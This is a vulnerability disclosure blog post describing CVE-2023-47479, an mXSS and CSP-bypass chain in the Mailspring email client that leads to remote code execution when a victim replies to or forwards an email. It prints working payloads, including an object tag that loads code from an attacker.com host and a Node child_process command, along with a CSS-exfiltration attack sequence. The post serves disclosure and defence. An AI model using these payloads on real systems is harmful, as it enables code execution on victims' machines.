Introduction

Mailspring, formerly known as nylas-mail, is a popular email client application that gives users a fast and efficient way to manage their email accounts. It is a free and open-source program for Windows, Mac, and Linux operating systems. Mailspring comes with a variety of advanced features, such as snoozing emails, scheduling messages, email tracking, and more. It also supports a wide range of email services, including Gmail, Yahoo, Outlook, and more. With its user-friendly interface and powerful functionality, Mailspring has become a popular choice for those looking for a reliable and versatile email client.

Continuing our effort to improve open-source security and enhance our Clean Code technology, we decided to research and evaluate the security of the Mailspring desktop application. Considering its popularity, security issues in the application have a high impact potential. In this blog, we will present our research and findings.

Impact

Mailspring versions before 1.11.0 are susceptible to several vulnerabilities, enabling an attacker to execute arbitrary code when a victim tries to reply to or forward a malicious email.

Mailspring version 1.11.0 employs mitigations to prevent exploitation. However, the underlying vulnerability has not been fixed as of today.

Technical Details - CVE-2023-47479

In the following section, we will explain the technical details of the vulnerabilities, which are tracked as CVE-2023-47479. We will describe how an attacker can bypass some mitigations to ultimately achieve code execution when a user replies to or forwards a malicious email.

mXSS Background

Mutation Cross-Site Scripting (mXSS) is a sophisticated variation of the well-known Cross-Site Scripting (XSS) vulnerability. When an application needs to safely render the user’s input as HTML, to support some HTML features, sanitization would be the solution. Allowing specific tags and attributes while stripping or encoding others. Unfortunately, this is not a straightforward task since HTML is a syntax-tolerant language that may change or “mutate” when parsing. mXSS takes advantage of that by providing a payload that seems innocent initially when parsing (during the sanitization process) but mutates it to a malicious one when re-parsing it (in the final stage of displaying the content).

mXSS in the Email Renderer

Before rendering and showing an email to the user, Mailspring sanitizes the content with a built-in sanitizer. The sanitizer uses DOMParser and, according to a predefined list, will accept, remove, or replace tags and content. Problems occur when the sanitizer changes a disallowed tag after the parsing is done, causing the resulting content to be parsed differently.

For example, we will use the following email content:

Parsing the given string to a DOM tree will result in an a tag inside the style as expected within “foreign content”, this is because style is handled differently in SVG/MathML namespaces:

Mailspring doesn’t allow svg tags and will replace them with span tags during the sanitization. We covered the risk of “Desanitization” (the act of changing and interfering with the sanitizer’s output) in previous blogs where we encountered other vulnerabilities that follow this dangerous behavior:

Because Mailspring continues iterating over the manipulated sanitizer’s output using the same parsed DOM tree, it would still seem as if there were a foreign content tag (svg and not span):

This is why the sanitizer can’t see the malicious tag, but later, when embedding the result in the page, the style tag won’t be inside a “foreign content” and thus closes where the title attribute used to be:

We can see our injected tag in the rendered content. But it is inside a sandboxed iframe, stopping it from executing any JavaScript code.

Bypassing the mitigations

Sandboxed Iframe

There is not much an attacker can do inside a sandboxed iframe, but we noticed that when a user replies to or forwards an email, the content of it will be rendered again outside of the sandboxed iframe.

However, the injected JavaScript code will still not run because of a Content Security Policy in the main window:

Content Security Policy Bypass

When evaluating this policy, we noticed that there is a misconfiguration:

1
<meta http-equiv="Content-Security-Policy" content="default-src * mailspring:; script-src 'self' chrome-extension://react-developer-tools; style-src * 'unsafe-inline' mailspring:; img-src * data: mailspring: file:;">

Because default-src is set to * and there’s no object-src override, an attacker can execute code with an object tag. This is limited to JavaScript files served via the http, https, ws, and wss protocols by default.

In addition to that, script-src 'self' allows using a script tag with a local file as a src to execute JavaScript code. This works because Electron, the underlying technology behind Mailspring, serves the UI via the file:// protocol. To abuse this, an attacker must control a file on the victim’s computer and point to it via a script’s src attribute.

However, when sending a new payload that uses a malicious object tag to bypass the CSP, replying to/forwarding it, would mysteriously remove our tag. This did not happen for the initial payload with the img tag, so what is going on here?

1
<svg><style><a title="</style><object data='https://attacker.com/payload'>">

Email body:

Reply-to/forward content:

There must be another sanitization when replying to or forwarding an email.

reply-to/forward sanitization bypass

Drilling down to the component that handles the reply/forward window, we came across inflates-draft-client-id.jsx. The draft content still contains our object tag at this point but will later be removed, so this content is before the 2nd sanitization.

Looking at this HTML draft snippet, we understand that Mailspring adds content to the window, such as the user’s mail signature, custom CSS, timestamp, etc. The signature tag at the start of the draft caught our attention. Since it’s a custom tag and appended before the replied/forwarded malicious email content, maybe the sanitization there is different?

Indeed, embedding the malicious input in a signature tag avoided the 2nd sanitization. As a result, this payload allows the execution of arbitrary JavaScript code:

1
<svg><style><a title="</style><signature><object data='https://attacker.com/payload'></object></signature>">

From XSS to RCE

The main window of Mailspring uses nodeIntegration: true and contextIsolation: false, meaning any JavaScript code that runs in this context can also access the internal NodeJS objects and thus execute arbitrary code on the machine. Because the payload until this point has been executed in the origin of attacker.com, which blocks the attacker from accessing the main parent window due to the same-origin policy, an attacker would need to find a way to escalate the impact from XSS to RCE.

From here, we came up with two different vectors:

Outdated Electron V8 Vulnerability

Mailspring runs on an outdated electron, thus a chromium version that is susceptible to CVE-2022-1364, and potentially other 1days (running window.navigator.userAgent on the dev tools gives the following value):

1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Mailspring/1.10.8 Chrome/98.0.4758.141 Electron/17.4.0 Safari/537.36

An attacker can use known exploits to gain full command execution regardless of Electron’s origin isolation.

CSS Exfiltration

The XSS shown above is executed from an external website origin, stopping the JavaScript from accessing the top window due to the Same-origin-policy. For a window to be able to access its parent, both should be same-origin. Since Mailspring runs on the file:// scheme, any framed window (object, iframe, embed, etc.) that is also from the file:// scheme can access the main window (and then node internals).

For that, an attacker needs to have control over a file on the machine; this can be achieved with attachment files. After sending an email with an attachment, we saw that the files are moved to a randomly generated directory under …/Mailspring/files/<random-id>.substr(0, 2)/<random>.substr(2, 2)/<random-id>/attachment_file. This path is not reflected in the DOM and cannot be guessed.

But sending an inline image (with CID) will cause the path to be reflected in the DOM. Using that, an attacker can use known CSS exfiltration techniques, given that CSS is allowed by Mailspring’s sanitizer, to extract the random path of the controlled file. Then use the same XSS as before but point the object’s data tag to the controlled file. Since it’s the same origin as the main window, accessing parent and running arbitrary node commands is possible.

The POC:

  1. Attacker sets up a CSS exfiltration server.
  2. Attacker sends an email with the CSS exfiltration payload and an inline “image” which is actually the following malicious HTML page: <script>top.require('child_process').execSync('open -a Calculator')</script>
  3. When the victim views the email, the payload “image” path is extracted.
  4. Attacker sends a second email with the mXSS payload pointing to the extracted path: <svg><style><a title="</style><signature><object data='**extracte_path**'></object></signature>"></style>
  5. When a victim tries to reply or forward the message, a calculator will show up.

Patch

We tried contacting the maintainers in various ways, but due to unresponsiveness, the only implemented fix was hardening the CSP.

1
+ object-src none; media-src mailspring:; manifest-src none;

Despite the lack of proper attention and fix, there are several takeaways developers can take from these findings:

Timeline

Date Action
2023-04-27 We report all issues to the vendor, including our disclosure policy
2023-05-11 We Ping the vendor
2023-05-23 We Ping the vendor using a personal email address
2023-06-26 We open a discrete issue on GitHub
2023-07-04 The vendor acknowledges the report
2023-07-29 The CSP policy is hardened
2023-08-09 We ping the vendor, offering help with the fixes
2023-09-05 We ping the vendor again with no success
2024-03-09 We notify the vendor about the release of this blog

Summary

In this blog, we covered a vulnerability chain that attackers might exploit to achieve RCE on a victim’s computer simply by manipulating them to click “reply-to” or “forward” from a malicious email. We explained the importance of avoiding the dangerous Desanitization pattern and outlined the significance of a strong CSP.

To help you implement these critical aspects in your own code, Sonar provides a vast range of security rules, such as S5728, which ensures that a default-src CSP directive is set. This reduces the impact of XSS vulnerabilities and follows the Clean Code principle, which emphasizes the creation of clear and maintainable software. This not only facilitates the detection and resolution of vulnerabilities throughout the development process but also reduces the risk of introducing security weaknesses that malicious actors could exploit.